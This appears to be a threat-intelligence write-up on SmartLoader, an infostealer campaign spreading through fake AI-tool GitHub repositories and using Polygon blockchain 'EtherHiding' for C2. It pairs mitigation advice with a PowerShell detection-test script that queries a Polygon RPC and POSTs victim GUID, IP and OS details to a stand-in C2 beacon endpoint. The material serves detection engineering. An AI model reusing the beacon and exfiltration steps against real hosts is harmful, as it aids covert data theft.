Developers Targeted by Fake AI Tools Delivering Infostealers

Summary

Attackers are distributing a multi-stage NodeJS infostealer through trojanized GitHub repositories that impersonate popular AI tools and developer resources. The campaign uses a loader known as SmartLoader, which relies on EtherHiding to retrieve C2 IP addresses from the Polygon blockchain. This approach enables operators to rotate infrastructure dynamically without changing the malware payload.

Investigation

Netskope Threat Labs tracked the evolution of this Malware-as-a-Service (MaaS) infostealer from its earlier ClickFix-based delivery to campaigns involving fraudulent GitHub repositories. The investigation uncovered a redundant loader chain built around SmartLoader, obfuscated with Prometheus and MoonSec, and a blockchain-based C2 resolution mechanism. Analysis of components such as the LuaJIT runtime and malicious Lua scripts revealed advanced defense evasion capabilities.

Mitigation

Organizations should enforce strict controls over downloading and executing unverified scripts or binaries from public repositories such as GitHub. Developers should verify repository ownership, contributor legitimacy, and installation instructions, particularly when they redirect to external downloads. Deploying endpoint detection and response (EDR) to identify unusual Lua interpreter activity and unauthorized scheduled task creation is also recommended.

Response

If malicious activity is detected, the affected developer workstation should be isolated immediately to limit credential theft and lateral movement. Investigators should review the local environment to identify the originating GitHub repository and any scheduled tasks established for persistence. All potentially exposed cloud credentials, API keys, and code-signing certificates should be revoked and replaced.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary aims to bypass traditional domain blacklisting by using the Polygon blockchain as a dead-drop resolver. The script first sends a simulated eth_call to a Polygon RPC endpoint. This action is intended to retrieve the actual C2 IP address, which is hidden within a smart contract. Once the address is “resolved,” the malware prepares a payload containing the victim’s unique GUID, OS version, and public IP. This payload is sent via an unencrypted HTTP POST request to the C2 server to establish a beacon and exfiltrate initial system reconnaissance.

• Regression Test Script:

  # Simulation of EtherHiding (eth_call) and HTTP POST Beaconing
  
  # 1. Simulate EtherHiding via eth_call to Polygon
  $eth_payload = @{
      jsonrpc = "2.0"
      method  = "eth_call"
      params  = @(@{ to = "0x742d35Cc6634C0532925a3b844Bc454e4438f44e" }, "latest")
      id      = 1
  } | ConvertTo-Json
  
  Write-Host "[+] Simulating eth_call to Polygon..."
  Invoke-RestMethod -Uri "http://polygon-rpc.com" -Method Post -Body $eth_payload -ContentType "application/json"
  
  # 2. Simulate C2 Beacon with victim metadata in POST body
  $victim_data = @{
      loaderID   = "MALWARE_X_99"
      GUID       = [guid]::NewGuid().ToString()
      public_IP  = "1.2.3.4"
      OS_version = "Windows 10 Pro 22H2"
  } | ConvertTo-Json
  
  Write-Host "[+] Simulating C2 Beacon via HTTP POST..."
  Invoke-RestMethod -Uri "http://c2-sim-server.local/beacon" -Method Post -Body $victim_data -ContentType "application/json"

• Cleanup Commands:

  # No persistent files were created in this simulation. 
  # If local log files were generated, they should be purged.
  Write-Host "[+] Simulation cleanup complete. No artifacts to remove."